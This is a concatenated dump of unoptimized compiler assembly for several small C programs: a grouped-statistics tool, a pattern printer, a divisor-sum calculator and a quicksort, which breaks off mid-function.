movaps LCPI0_3(%rip), %xmm1 ## xmm1 = [NaN,NaN]
pand %xmm1, %xmm0
movsd LCPI0_2(%rip), %xmm1 ## xmm1 = mem[0],zero
ucomisd %xmm1, %xmm0
setne %al
setp %cl
orb %cl, %al
movb %al, -979(%rbp) ## 1-byte Spill
LBB0_132: ## in Loop: Header=BB0_122 Depth=3
movb -979(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
jne LBB0_136
jmp LBB0_137
LBB0_133: ## in Loop: Header=BB0_122 Depth=3
movq -872(%rbp), %rax
movq -168(%rbp), %rcx
fldl (%rax,%rcx,8)
fstpt -64(%rbp)
fldt -64(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
fucompi %st(0), %st
movb %al, -980(%rbp) ## 1-byte Spill
jp LBB0_135
jmp LBB0_134
LBB0_134: ## in Loop: Header=BB0_122 Depth=3
fldt -64(%rbp)
fabs
flds LCPI0_1(%rip)
fxch %st(1)
fucompi %st(1), %st
fstp %st(0)
setb %al
movb %al, -980(%rbp) ## 1-byte Spill
LBB0_135: ## in Loop: Header=BB0_122 Depth=3
movb -980(%rbp), %al ## 1-byte Reload
andb $1, %al
movzbl %al, %eax
cmpl $0, %eax
je LBB0_137
LBB0_136: ## in Loop: Header=BB0_122 Depth=3
movq -872(%rbp), %rax
movq -168(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -880(%rbp), %rax
movq -856(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -856(%rbp)
movsd %xmm0, (%rax,%rcx,8)
LBB0_137: ## in Loop: Header=BB0_122 Depth=3
jmp LBB0_138
LBB0_138: ## in Loop: Header=BB0_122 Depth=3
jmp LBB0_139
LBB0_139: ## in Loop: Header=BB0_122 Depth=3
movq -168(%rbp), %rax
addq $1, %rax
movq %rax, -168(%rbp)
jmp LBB0_122
LBB0_140: ## in Loop: Header=BB0_120 Depth=2
cmpq $0, -864(%rbp)
jg LBB0_142
## %bb.141: ## in Loop: Header=BB0_120 Depth=2
jmp LBB0_148
LBB0_142: ## in Loop: Header=BB0_120 Depth=2
cmpq $0, -856(%rbp)
jle LBB0_144
## %bb.143: ## in Loop: Header=BB0_120 Depth=2
movq -880(%rbp), %rdi
movq -856(%rbp), %rsi
leaq -736(%rbp), %rcx
movl $2, %edx
callq _xf_stats2_d
LBB0_144: ## in Loop: Header=BB0_120 Depth=2
cmpl $0, -900(%rbp)
jne LBB0_146
## %bb.145: ## in Loop: Header=BB0_120 Depth=2
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.48(%rip), %rdi
movb $1, %al
callq _printf
movq -800(%rbp), %rax
movq -152(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.48(%rip), %rdi
movb $1, %al
callq _printf
movq -856(%rbp), %rsi
movsd -736(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -720(%rbp), %xmm1 ## xmm1 = mem[0],zero
movsd -712(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq -864(%rbp), %rdx
leaq L_.str.49(%rip), %rdi
movb $3, %al
callq _printf
jmp LBB0_147
LBB0_146: ## in Loop: Header=BB0_120 Depth=2
movq -760(%rbp), %rax
movq -144(%rbp), %rcx
cvttsd2si (%rax,%rcx,8), %rsi
leaq L_.str.50(%rip), %rdi
movb $0, %al
callq _printf
movq -800(%rbp), %rax
movq -152(%rbp), %rcx
cvttsd2si (%rax,%rcx,8), %rsi
leaq L_.str.50(%rip), %rdi
movb $0, %al
callq _printf
movq -856(%rbp), %rsi
movsd -736(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -720(%rbp), %xmm1 ## xmm1 = mem[0],zero
movsd -712(%rbp), %xmm2 ## xmm2 = mem[0],zero
movq -864(%rbp), %rdx
leaq L_.str.49(%rip), %rdi
movb $3, %al
callq _printf
LBB0_147: ## in Loop: Header=BB0_120 Depth=2
jmp LBB0_148
LBB0_148: ## in Loop: Header=BB0_120 Depth=2
movq -152(%rbp), %rax
addq $1, %rax
movq %rax, -152(%rbp)
jmp LBB0_120
LBB0_149: ## in Loop: Header=BB0_118 Depth=1
jmp LBB0_150
LBB0_150: ## in Loop: Header=BB0_118 Depth=1
movq -144(%rbp), %rax
addq $1, %rax
movq %rax, -144(%rbp)
jmp LBB0_118
LBB0_151:
cmpq $0, -136(%rbp)
je LBB0_153
## %bb.152:
movq -136(%rbp), %rdi
callq _free
LBB0_153:
cmpq $0, -840(%rbp)
je LBB0_155
## %bb.154:
movq -840(%rbp), %rdi
callq _free
LBB0_155:
cmpq $0, -752(%rbp)
je LBB0_157
## %bb.156:
movq -752(%rbp), %rdi
callq _free
LBB0_157:
cmpq $0, -792(%rbp)
je LBB0_159
## %bb.158:
movq -792(%rbp), %rdi
callq _free
LBB0_159:
cmpq $0, -760(%rbp)
je LBB0_161
## %bb.160:
movq -760(%rbp), %rdi
callq _free
LBB0_161:
cmpq $0, -800(%rbp)
je LBB0_163
## %bb.162:
movq -800(%rbp), %rdi
callq _free
LBB0_163:
cmpq $0, -872(%rbp)
je LBB0_165
## %bb.164:
movq -872(%rbp), %rdi
callq _free
LBB0_165:
cmpq $0, -880(%rbp)
je LBB0_167
## %bb.166:
movq -880(%rbp), %rdi
callq _free
LBB0_167:
xorl %edi, %edi
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\n"
L_.str.1: ## @.str.1
.asciz "----------------------------------------------------------------------\n"
L_.str.2: ## @.str.2
.asciz "%s\n"
L_.str.3: ## @.str.3
.asciz "xe-statsgrp2 v 9: 29.April.2019 [JRH]"
L_.str.4: ## @.str.4
.asciz "Calculate stats on a data-column using grouping-columns\n"
L_.str.5: ## @.str.5
.asciz "- input must be tab-delimited\n"
L_.str.6: ## @.str.6
.asciz "- grouping-variables must be numeric (can be floating-point)\n"
L_.str.7: ## @.str.7
.asciz "- non-numeric data-values will be ignored for stats calculations\n"
L_.str.8: ## @.str.8
.asciz "USAGE: %s [input] [options]\n"
L_.str.9: ## @.str.9
.asciz "xe-statsgrp2"
L_.str.10: ## @.str.10
.asciz "\t[input]: file name or \"stdin\"\n"
L_.str.11: ## @.str.11
.asciz "VALID OPTIONS:\n"
L_.str.12: ## @.str.12
.asciz "\t-cg1: column defining grouping-variable 1 [%ld]\n"
L_.str.13: ## @.str.13
.asciz "\t-cg2: column defining grouping-variable 2 [%ld]\n"
L_.str.14: ## @.str.14
.asciz "\t-cy: column containing dependent variable [%ld]\n"
L_.str.15: ## @.str.15
.asciz "\t-gint: output groups as integers? (0=NO 1=YES) [%d]\n"
L_.str.16: ## @.str.16
.asciz "EXAMPLES:\n"
L_.str.17: ## @.str.17
.asciz "\t%s data.txt"
L_.str.18: ## @.str.18
.asciz " -cg1 5"
L_.str.19: ## @.str.19
.asciz " -cg2 7"
L_.str.20: ## @.str.20
.asciz "\tcat temp.txt | %s stdin -gint 1\n"
L_.str.21: ## @.str.21
.asciz "OUTPUT:\n"
L_.str.22: ## @.str.22
.asciz "\tgrp1"
L_.str.23: ## @.str.23
.asciz "\tgrp2"
L_.str.24: ## @.str.24
.asciz "\tn\tmean\tsd\tsem\tntot\n"
L_.str.25: ## @.str.25
.asciz "\tNOTE:\n"
L_.str.26: ## @.str.26
.asciz "\t\tntot= total datapoints for a given group-combination\n"
L_.str.27: ## @.str.27
.asciz "\t\tn= valid numbers contributing to statistical result\n"
L_.str.28: ## @.str.28
.asciz "\n--- Error [%s]: missing value for argument \"%s\"\n\n"
L_.str.29: ## @.str.29
.asciz "-cg1"
L_.str.30: ## @.str.30
.asciz "-cg2"
L_.str.31: ## @.str.31
.asciz "-cy"
L_.str.32: ## @.str.32
.asciz "-gint"
L_.str.33: ## @.str.33
.asciz "\n--- Error [%s]: invalid command line argument \"%s\"\n"
L_.str.34: ## @.str.34
.asciz "\n--- Error [%s]: invalid group column (-cg1 %ld) - must be >0\n"
L_.str.35: ## @.str.35
.asciz "\n--- Error [%s]: invalid group column (-cg2 %ld) - must be >0\n"
L_.str.36: ## @.str.36
.asciz "\n--- Error [%s]: invalid data column (-cy %ld) - must be >0\n"
L_.str.37: ## @.str.37
.asciz "stdin"
L_.str.38: ## @.str.38
.asciz "r"
L_.str.39: ## @.str.39
.asciz "\n--- Error [%s]: file \"%s\" not found\n\n"
L_.str.40: ## @.str.40
.asciz "\n--- Error [%s]: readline function encountered insufficient memory\n\n"
L_.str.41: ## @.str.41
.asciz "\t"
L_.str.42: ## @.str.42
.asciz "\n--- Error [%s]: lineparse function encountered insufficient memory\n\n"
L_.str.43: ## @.str.43
.asciz "%lf"
L_.str.44: ## @.str.44
.asciz "\n--- Error [%s]: insufficient memory\n\n"
L_.str.45: ## @.str.45
.asciz "grp1\t"
L_.str.46: ## @.str.46
.asciz "grp2\t"
L_.str.47: ## @.str.47
.asciz "n\tmean\tsd\tsem\tntot\n"
L_.str.48: ## @.str.48
.asciz "%g\t"
L_.str.49: ## @.str.49
.asciz "%ld\t%g\t%g\t%g\t%ld\n"
L_.str.50: ## @.str.50
.asciz "%ld\t"
.subsections_via_symbols
| the_stack_data/70449170.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
mov w10, #2
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB0_14
b LBB0_1
LBB0_1:
stur wzr, [x29, #-12]
b LBB0_2
LBB0_2: ; =>This Loop Header: Depth=1
; Child Loop BB0_4 Depth 2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
mov w10, #2
sdiv w9, w9, w10
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_13
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_2 Depth=1
str wzr, [sp, #16]
b LBB0_4
LBB0_4: ; Parent Loop BB0_2 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_11
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_4 Depth=2
ldr w8, [sp, #16]
ldur w9, [x29, #-8]
mov w10, #2
sdiv w9, w9, w10
ldur w10, [x29, #-12]
subs w9, w9, w10
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_4 Depth=2
ldr w8, [sp, #16]
ldur w9, [x29, #-8]
mov w10, #2
sdiv w9, w9, w10
ldur w10, [x29, #-12]
add w9, w9, w10
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_4 Depth=2
mov x9, sp
mov x8, #42
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_4 Depth=2
mov x9, sp
mov x8, #45
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_4 Depth=2
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_4 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_4
LBB0_11: ; in Loop: Header=BB0_2 Depth=1
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_2 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_2
LBB0_13:
stur wzr, [x29, #-4]
b LBB0_16
LBB0_14:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_15
LBB0_15:
stur wzr, [x29, #-4]
b LBB0_16
LBB0_16:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
l_.str.1: ; @.str.1
.asciz "%c"
l_.str.2: ; @.str.2
.asciz "\n"
l_.str.3: ; @.str.3
.asciz "Invalid Input"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
cmpl $0, %edx
je LBB0_14
## %bb.1:
movl $0, -12(%rbp)
LBB0_2: ## =>This Loop Header: Depth=1
## Child Loop BB0_4 Depth 2
movl -12(%rbp), %eax
movl %eax, -20(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -20(%rbp), %eax ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_13
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movl $0, -16(%rbp)
LBB0_4: ## Parent Loop BB0_2 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
cmpl -8(%rbp), %eax
jge LBB0_11
## %bb.5: ## in Loop: Header=BB0_4 Depth=2
movl -16(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -24(%rbp), %eax ## 4-byte Reload
subl -12(%rbp), %ecx
cmpl %ecx, %eax
jl LBB0_8
## %bb.6: ## in Loop: Header=BB0_4 Depth=2
movl -16(%rbp), %eax
movl %eax, -28(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, %ecx
movl -28(%rbp), %eax ## 4-byte Reload
addl -12(%rbp), %ecx
cmpl %ecx, %eax
jg LBB0_8
## %bb.7: ## in Loop: Header=BB0_4 Depth=2
leaq L_.str.1(%rip), %rdi
movl $42, %esi
movb $0, %al
callq _printf
jmp LBB0_9
LBB0_8: ## in Loop: Header=BB0_4 Depth=2
leaq L_.str.1(%rip), %rdi
movl $45, %esi
movb $0, %al
callq _printf
LBB0_9: ## in Loop: Header=BB0_4 Depth=2
jmp LBB0_10
LBB0_10: ## in Loop: Header=BB0_4 Depth=2
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_4
LBB0_11: ## in Loop: Header=BB0_2 Depth=1
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
## %bb.12: ## in Loop: Header=BB0_2 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_2
LBB0_13:
movl $0, -4(%rbp)
jmp LBB0_16
LBB0_14:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
## %bb.15:
movl $0, -4(%rbp)
LBB0_16:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
L_.str.1: ## @.str.1
.asciz "%c"
L_.str.2: ## @.str.2
.asciz "\n"
L_.str.3: ## @.str.3
.asciz "Invalid Input"
.subsections_via_symbols
| the_stack_data/57949477.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _calculaSomaDosDivisores ; -- Begin function calculaSomaDosDivisores
.p2align 2
_calculaSomaDosDivisores: ; @calculaSomaDosDivisores
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
str w8, [sp, #4]
ldr w8, [sp, #12]
mov w9, #2
sdiv w8, w8, w9
str w8, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, le
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
ldr w10, [sp, #8]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w9, [sp, #8]
ldr w8, [sp, #4]
add w8, w8, w9
str w8, [sp, #4]
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #8]
subs w8, w8, #1
str w8, [sp, #8]
b LBB0_1
LBB0_6:
ldr w0, [sp, #4]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-16]
ldr x0, [x8, #8]
bl _atoi
stur w0, [x29, #-20]
ldur x8, [x29, #-16]
ldr x0, [x8, #16]
bl _atoi
stur w0, [x29, #-24]
ldur w8, [x29, #-24]
ldur w9, [x29, #-20]
subs w8, w8, w9
str w8, [sp, #28]
ldr w8, [sp, #28]
add w9, w8, #1
; implicit-def: $x8
mov x8, x9
sxtw x8, w8
lsl x0, x8, #3
bl _malloc
str x0, [sp, #8]
ldr x8, [sp, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_16
b LBB1_1
LBB1_1:
ldur w8, [x29, #-20]
stur w8, [x29, #-28]
b LBB1_2
LBB1_2: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_5
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_2 Depth=1
ldur w0, [x29, #-28]
bl _calculaSomaDosDivisores
scvtf d0, w0
ldur s2, [x29, #-28]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
str d0, [sp, #16]
ldr d0, [sp, #16]
ldr x8, [sp, #8]
ldur w9, [x29, #-28]
ldur w10, [x29, #-20]
subs w9, w9, w10
str d0, [x8, w9, sxtw #3]
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_2 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB1_2
LBB1_5:
stur wzr, [x29, #-28]
b LBB1_6
LBB1_6: ; =>This Loop Header: Depth=1
; Child Loop BB1_8 Depth 2
ldur w8, [x29, #-28]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_15
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_6 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
str w8, [sp, #32]
b LBB1_8
LBB1_8: ; Parent Loop BB1_6 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
ldr w9, [sp, #28]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_13
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_8 Depth=2
ldr x8, [sp, #8]
ldursw x9, [x29, #-28]
ldr d0, [x8, x9, lsl #3]
ldr x8, [sp, #8]
ldrsw x9, [sp, #32]
ldr d1, [x8, x9, lsl #3]
fcmp d0, d1
cset w8, ne
tbnz w8, #0, LBB1_11
b LBB1_10
LBB1_10: ; in Loop: Header=BB1_8 Depth=2
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_8 Depth=2
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_8 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB1_8
LBB1_13: ; in Loop: Header=BB1_6 Depth=1
b LBB1_14
LBB1_14: ; in Loop: Header=BB1_6 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB1_6
LBB1_15:
ldr x0, [sp, #8]
bl _free
stur wzr, [x29, #-4]
b LBB1_17
LBB1_16:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #-1
stur w8, [x29, #-4]
b LBB1_17
LBB1_17:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "N\303\243o foi poss\303\255vel alocar mem\303\263ria."
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _calculaSomaDosDivisores ## -- Begin function calculaSomaDosDivisores
.p2align 4, 0x90
_calculaSomaDosDivisores: ## @calculaSomaDosDivisores
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
movl -4(%rbp), %eax
movl $2, %ecx
cltd
idivl %ecx
movl %eax, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $0, -8(%rbp)
jle LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
cltd
idivl -8(%rbp)
cmpl $0, %edx
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -12(%rbp)
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_5
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
addl $-1, %eax
movl %eax, -8(%rbp)
jmp LBB0_1
LBB0_6:
movl -12(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _atoi
movl %eax, -20(%rbp)
movq -16(%rbp), %rax
movq 16(%rax), %rdi
callq _atoi
movl %eax, -24(%rbp)
movl -24(%rbp), %eax
subl -20(%rbp), %eax
movl %eax, -36(%rbp)
movl -36(%rbp), %eax
addl $1, %eax
movslq %eax, %rdi
shlq $3, %rdi
callq _malloc
movq %rax, -56(%rbp)
cmpq $0, -56(%rbp)
je LBB1_16
## %bb.1:
movl -20(%rbp), %eax
movl %eax, -28(%rbp)
LBB1_2: ## =>This Inner Loop Header: Depth=1
movl -28(%rbp), %eax
cmpl -24(%rbp), %eax
jg LBB1_5
## %bb.3: ## in Loop: Header=BB1_2 Depth=1
movl -28(%rbp), %edi
callq _calculaSomaDosDivisores
cvtsi2sd %eax, %xmm0
cvtsi2sdl -28(%rbp), %xmm1
divsd %xmm1, %xmm0
movsd %xmm0, -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
movq -56(%rbp), %rax
movl -28(%rbp), %ecx
subl -20(%rbp), %ecx
movslq %ecx, %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.4: ## in Loop: Header=BB1_2 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB1_2
LBB1_5:
movl $0, -28(%rbp)
LBB1_6: ## =>This Loop Header: Depth=1
## Child Loop BB1_8 Depth 2
movl -28(%rbp), %eax
cmpl -36(%rbp), %eax
jg LBB1_15
## %bb.7: ## in Loop: Header=BB1_6 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
LBB1_8: ## Parent Loop BB1_6 Depth=1
## => This Inner Loop Header: Depth=2
movl -32(%rbp), %eax
cmpl -36(%rbp), %eax
jg LBB1_13
## %bb.9: ## in Loop: Header=BB1_8 Depth=2
movq -56(%rbp), %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -56(%rbp), %rax
movslq -32(%rbp), %rcx
ucomisd (%rax,%rcx,8), %xmm0
jne LBB1_11
jp LBB1_11
## %bb.10: ## in Loop: Header=BB1_8 Depth=2
jmp LBB1_11
LBB1_11: ## in Loop: Header=BB1_8 Depth=2
jmp LBB1_12
LBB1_12: ## in Loop: Header=BB1_8 Depth=2
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
jmp LBB1_8
LBB1_13: ## in Loop: Header=BB1_6 Depth=1
jmp LBB1_14
LBB1_14: ## in Loop: Header=BB1_6 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB1_6
LBB1_15:
movq -56(%rbp), %rdi
callq _free
movl $0, -4(%rbp)
jmp LBB1_17
LBB1_16:
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $-1, -4(%rbp)
LBB1_17:
movl -4(%rbp), %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "N\303\243o foi poss\303\255vel alocar mem\303\263ria."
.subsections_via_symbols
| the_stack_data/587695.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _quicksort ; -- Begin function quicksort
.p2align 2
_quicksort: ; @quicksort
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
ldur x8, [x29, #-8]
ldr x9, [sp, #16]
subs x8, x8, x9
cset w8, lo
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
b LBB0_9
LBB0_2:
ldur x8, [x29, #-8]
str x8, [sp]
str x8, [sp, #8]
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x9, [sp, #16]
subs x8, x8, x9
cset w8, hi
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #8]
ldr w8, [x8]
ldr x9, [sp, #16]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=1
ldr x0, [sp]
mov x8, x0
add x8, x8, #4
str x8, [sp]
ldr x1, [sp, #8]
bl _swap
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=1
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp, #8]
add x8, x8, #4
str x8, [sp, #8]
b LBB0_3
LBB0_8:
ldr x0, [sp, #16]
ldr x1, [sp]
bl _swap
ldur x0, [x29, #-8]
ldr x8, [sp]
subs x1, x8, #4
bl _quicksort
ldr x8, [sp]
add x0, x8, #4
ldr x1, [sp, #16]
bl _quicksort
b LBB0_9
LBB0_9:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _swap ; -- Begin function swap
.p2align 2
_swap: ; @swap
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str x1, [sp, #16]
ldr x8, [sp, #24]
ldr w8, [x8]
str w8, [sp, #12]
ldr x8, [sp, #16]
ldr w8, [x8]
ldr x9, [sp, #24]
str w8, [x9]
ldr w8, [sp, #12]
ldr x9, [sp, #16]
str w8, [x9]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _quicksort ## -- Begin function quicksort
.p2align 4, 0x90
_quicksort: ## @quicksort
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
cmpq -16(%rbp), %rax
jb LBB0_2
## %bb.1:
jmp LBB0_9
LBB0_2:
